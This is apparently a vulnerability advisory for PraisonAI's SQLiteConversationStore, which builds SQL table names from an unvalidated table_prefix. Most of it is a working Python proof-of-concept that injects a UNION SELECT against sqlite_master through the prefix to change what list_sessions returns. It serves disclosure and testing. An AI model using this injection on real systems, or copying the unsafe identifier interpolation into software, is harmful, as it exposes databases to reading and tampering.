PraisonAI: SQLiteConversationStore didn't validate table_prefix when constructing SQL queries

sessions_table = f"{table_prefix}sessions"

#!/usr/bin/env python3
"""
PoC: SQL identifier injection via SQLiteConversationStore.table_prefix

This demonstrates query-structure manipulation when table_prefix is attacker-controlled.
"""

import os
import tempfile

from praisonai.persistence.conversation.sqlite import SQLiteConversationStore
from praisonai.persistence.conversation.base import ConversationSession


def run_poc() -> int:
    fd, db_path = tempfile.mkstemp(suffix=".db")
    os.close(fd)

    try:
        print(f"[+] temp db: {db_path}")

        # 1) Create normal schema and insert one legitimate session.
        normal = SQLiteConversationStore(
            path=db_path,
            table_prefix="praison_",
            auto_create_tables=True,
        )
        normal.create_session(
            ConversationSession(
                session_id="legit-session",
                user_id="user1",
                agent_id="agent1",
                name="Legit Session",
                state={},
                metadata={},
                created_at=123.0,
                updated_at=123.0,
            )
        )

        normal_rows = normal.list_sessions(limit=10, offset=0)
        print(f"[+] normal.list_sessions() count: {len(normal_rows)}")
        print(f"[+] normal first session_id: {normal_rows[0].session_id if normal_rows else None}")

        # 2) Malicious prefix (UNION-based query structure manipulation)
        injected_prefix = (
            "praison_sessions WHERE 1=0 "
            "UNION SELECT "
            "name as session_id, "
            "NULL as user_id, "
            "NULL as agent_id, "
            "NULL as name, "
            "NULL as state, "
            "NULL as metadata, "
            "0 as created_at, "
            "0 as updated_at "
            "FROM sqlite_master -- "
        )

        injected = SQLiteConversationStore(
            path=db_path,
            table_prefix=injected_prefix,
            auto_create_tables=False,
        )

        injected_rows = injected.list_sessions(limit=10, offset=0)
        injected_ids = [row.session_id for row in injected_rows]

        print(f"[+] injected.list_sessions() count: {len(injected_rows)}")
        print(f"[+] injected session_ids (first 10): {injected_ids[:10]}")

        suspicious = any(
            x in injected_ids
            for x in ("sqlite_schema", "sqlite_master", "praison_sessions", "praison_messages")
        )

        if suspicious or len(injected_rows) > len(normal_rows):
            print("[!] PoC succeeded: list_sessions query semantics altered by table_prefix")
            return 0

        print("[!] PoC inconclusive: no clear injected rows observed")
        return 2

    finally:
        try:
            os.remove(db_path)
            print("[+] temp db removed")
        except OSError:
            pass


if __name__ == "__main__":
    raise SystemExit(run_poc())